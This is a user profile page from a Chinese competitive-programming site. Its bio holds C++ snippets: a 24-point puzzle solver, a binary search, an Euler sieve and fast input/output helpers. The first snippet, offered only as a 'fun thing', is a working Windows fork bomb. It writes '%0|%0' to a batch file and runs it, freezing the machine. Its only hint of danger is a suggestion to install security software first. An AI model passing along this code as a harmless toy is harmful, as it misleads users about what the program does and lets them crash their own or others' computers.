-
个人简介
//有趣的玩意儿 #include <Windows.h> #include <iostream> #include <fstream> using namespace std; int main() { char a[9]="abc.bat"; ofstreamfile_out( a ); file_out<<"%0|%0"; file_out.close(); system( a ); return 0; } //建议先装一个360安全卫士//24点2.0 #include<bits/stdc++.h> using namespace std; int a[10],b[10],x[10],y[10]; void sc() { for(int i=1;i<=3;i++) { if(x[i]<y[i])swap(x[i],y[i]); cout<<x[i]; if(b[i]==1)cout<<"+"<<y[i]<<"="<<x[i]+y[i]; if(b[i]==2)cout<<"-"<<y[i]<<"="<<x[i]-y[i]; if(b[i]==3)cout<<"*"<<y[i]<<"="<<x[i]*y[i]; if(b[i]==4)cout<<"/"<<y[i]<<"="<<x[i]/y[i]; cout<<"\n"; } } bool ck() { for(int i=1;i<=4;i++)if(a[i]==24)return 1; return 0; } void dfs(int t) { if(t>3) { if(ck()) { sc(); exit(0); } return; } for(int i=2;i<=4;i++) { for(int j=1;j<=4;j++) { if(i!=j&&a[j]!=-1&&a[i]!=-1) { for(int k=1;k<=4;k++) { x[t]=a[i]; y[t]=a[j]; int l=a[i],r=a[j]; if(k==1) { b[t]=1; a[i]=l+r; } if(k==2) { b[t]=2; a[i]=abs(l-r); } if(k==3) { b[t]=3; a[i]=l*r; } if(k==4) { if(a[j]==0||l%r!=0)continue; b[t]=4; a[i]=l/r; } a[j]=-1; dfs(t+1); a[i]=l; a[j]=r; } } } } } int main() { cin>>a[1]>>a[2]>>a[3]>>a[4]; dfs(1); cout<<"No answer!"; return 0; }int bsd(int left,int right,int sum) { int mid; while(left<=right) { mid=(left+right)>>1; if(a[mid]>=sum) right=mid-1; else left=mid+1; } return left; }欧拉筛
for(int i=2;i<=n;i++) { if(!v[i]) { p[++p[0]]=i; //记录质数,p[0]用来计数 } for(int j=1;j<=p[0]&&i*p[j]<=n;j++) { v[i*p[j]]=1; //把p数组中记录的素数,升序依次作为需消去的合数的最小质因子 if(!(i%p[j])) //若i为p[j]的倍数,则i=a*p[j](a为常数),如果直接进入下一轮循环,j=j+1,i*p[j+1]=a*p[j]*p[j+1],这里p[j]是最小的质因子,当i=a*p[j+1]时会重复,所以应该跳出循环 { break; } } }namespace AC { inline int read() { int sum=0; bool p=1; char ch=getchar(); while(ch<'0'||ch>'9') { if(ch=='-') p=0; ch=getchar(); } while(ch>='0'&&ch<='9') { sum=(sum<<3)+(sum<<1)+(ch^48); ch=getchar(); } return p?sum:-sum; } inline void print(int x) { if(x<0) { putchar('-'); x=-x; } if(x>9) print(x/10); putchar(x%10+'0'); } } using namespace AC; -
通过的题目
-
最近活动
This person is lazy and didn't join any contests or homework. -
最近编写的题解
题目标签
- 聪明人游戏
- 4
- 2021
- 3
- CSP-J
- 3
- 模板
- 2
- 图论
- 2
- AT103
- 2
- 大沥2021
- 2
- 最短路
- 1
- cspj 2021
- 1
- 枚举
- 1
- 深搜 广搜
- 1
- 广搜
- 1
- 算法笔记
- 1